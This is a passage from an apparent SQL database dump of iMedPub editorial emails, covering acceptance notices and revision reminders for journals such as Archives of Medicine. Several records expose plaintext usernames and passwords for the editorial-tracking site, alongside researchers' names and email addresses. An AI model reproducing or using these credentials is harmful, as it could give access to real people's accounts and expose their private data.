Submitted','shyam.nandi@unmc.edu',8848,'2021-06-16',85),(3317,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8592</b><br />\r\n            <br />\r\n            Article Title: <b>BEYOND THE LUNGS: SARS-COV-2 PATHWAYS TO THE NERVOUS SYSTEM AND ITS CONSEQUENCES.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8592,'2021-06-17',85),(3322,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8705</b><br />\r\n            <br />\r\n            Article Title: <b>TROMBOCITOPENIA AGUDA SEVERA ASOCIADA AL USO DE TIROFIBAN POSTERIOR A INTERVENCI&Atilde;&ldquo;N CORONARIA PERCUT&Atilde;NEA: A PROP&Atilde;&ldquo;SITO DE UN CASO</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>MORENO</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-8705</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>gustavo</b><br />\r\n            Password : <b>zyVQxVUs</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','Guamosi@hotmail.com',8705,'2021-06-18',274),(3323,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8707</b><br />\r\n            <br />\r\n            Article Title: <b> TOXICIDAD RENAL POR TENOFOVIR: A PROP&Atilde;&ldquo;SITO DE UN CASO. </b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Montoya</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-8707</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>mario</b><br />\r\n            Password : <b>7wzLqseP</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','jermu1708@hotmail.com',8707,'2021-06-18',274),(3325,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8594</b><br />\r\n            <br />\r\n            Article Title: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8594</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',8594,'2021-06-18',85),(3326,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8593</b><br />\r\n            <br />\r\n            Article Title: <b>THE RESEARCH AND  IMPLICATIONS OF ORGANOID TECHNOLOGY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8593</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> satoh<br />\r\n            <b>Password:</b> 4CHdz3yc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','hiroaki@fmu.ac.jp',8593,'2021-06-18',85),(3327,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8593</b><br />\r\n            <br />\r\n            Article Title: <b>THE RESEARCH AND  IMPLICATIONS OF ORGANOID TECHNOLOGY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8593,'2021-06-18',85),(3328,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8885</b><br />\r\n            <br />\r\n            Article Title: <b>Deficiencia cong&eacute;nita de factor VII: reporte de caso y revisi&oacute;n de literatura</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Diana Ram&Atilde;&fnof;&Acirc;&shy;rez Rivera</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Loubon</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-8885</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> christian_ortega<br />\r\n            <b>Password:</b> 3QVkU3Gq<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','christlord26@gmail.com',8885,'2021-06-18',274),(3336,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8943</b><br />\r\n            <br />\r\n            Article Title: <b>Genom and gene mutation of SARS-CoV-2 </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>PARWANTO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','edy.parwanto@gmail.com',8943,'2021-06-22',48),(3338,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8074</b><br />\r\n            <br />\r\n            Article Title: <b>Expression of augmenter of liver regeneration (ALR) in female and male mouse prosencephalon: a new approach for the comprehension of gender-related brain biology</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Vincenzo Benagiano</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-8074</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',8074,'2021-06-22',75),(3339,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8074</b><br />\r\n            <br />\r\n            Article Title: <b>Expression of augmenter of liver regeneration (ALR) in female and male mouse prosencephalon: a new approach for the comprehension of gender-related brain biology</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Vincenzo Benagiano</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-8074</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',8074,'2021-06-22',75),(3340,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8074</b><br />\r\n            <br />\r\n            Article Title: <b>Expression of augmenter of liver regeneration (ALR) in female and male mouse prosencephalon: a new approach for the comprehension of gender-related brain biology</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Benagiano</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vincenzo.benagiano@uniba.it',8074,'2021-06-22',75),(3344,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8848</b><br />\r\n            <br />\r\n            Article Title: <b>Lung cancer patients, at high risk for admission due to pneumonia, did not require hospitalization for COVID19 at Creighton University Medical Center-Bergan Mercy in 2020.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Damiani Strain</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','leah.damianistrain@commonspirit.org',8848,'2021-06-24',85),(3345,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8491</b><br />\r\n            <br />\r\n            Article Title: <b>The value of different electrocardiographic patterns at hospital admission in predicting clinical outcome in pulmonary embolism</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8491</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','hiroaki@fmu.ac.jp',8491,'2021-06-24',85),(3346,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8707</b><br />\r\n            <br />\r\n            Article Title: <b> TOXICIDAD RENAL POR TENOFOVIR: A PROP&Atilde;&ldquo;SITO DE UN CASO. </b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Montoya</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-8707</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>mario</b><br />\r\n            Password : <b>7wzLqseP</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','jermu1708@hotmail.com',8707,'2021-06-24',274),(3347,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8837</b><br />\r\n            <br />\r\n            Article Title: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gomez Asis</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-8837</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>jose_isidro</b><br />\r\n            Password : <b>uJYEbmQn</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','juancho251997@hotmail.com',8837,'2021-06-24',274),(3356,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8491</b><br />\r\n            <br />\r\n            Article Title: <b>The value of different electrocardiographic patterns at hospital admission in predicting clinical outcome in pulmonary embolism</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Angjushev</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','d_angusev@yahoo.com',8491,'2021-06-26',85),(3360,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8594</b><br />\r\n            <br />\r\n            Article Title: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-21-8594</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>modesto_leite</b><br />\r\n            Password : <b>aVNPWHQq</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','modesto.neto@ufca.edu.br',8594,'2021-06-26',85),(3361,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9068</b><br />\r\n            <br />\r\n            Article Title: <b>Insurers Should Not Force Patients to Play Doctor  By Louis Tharp, executive director and cofounder, Global Healthy Living Foundation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tharp</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br 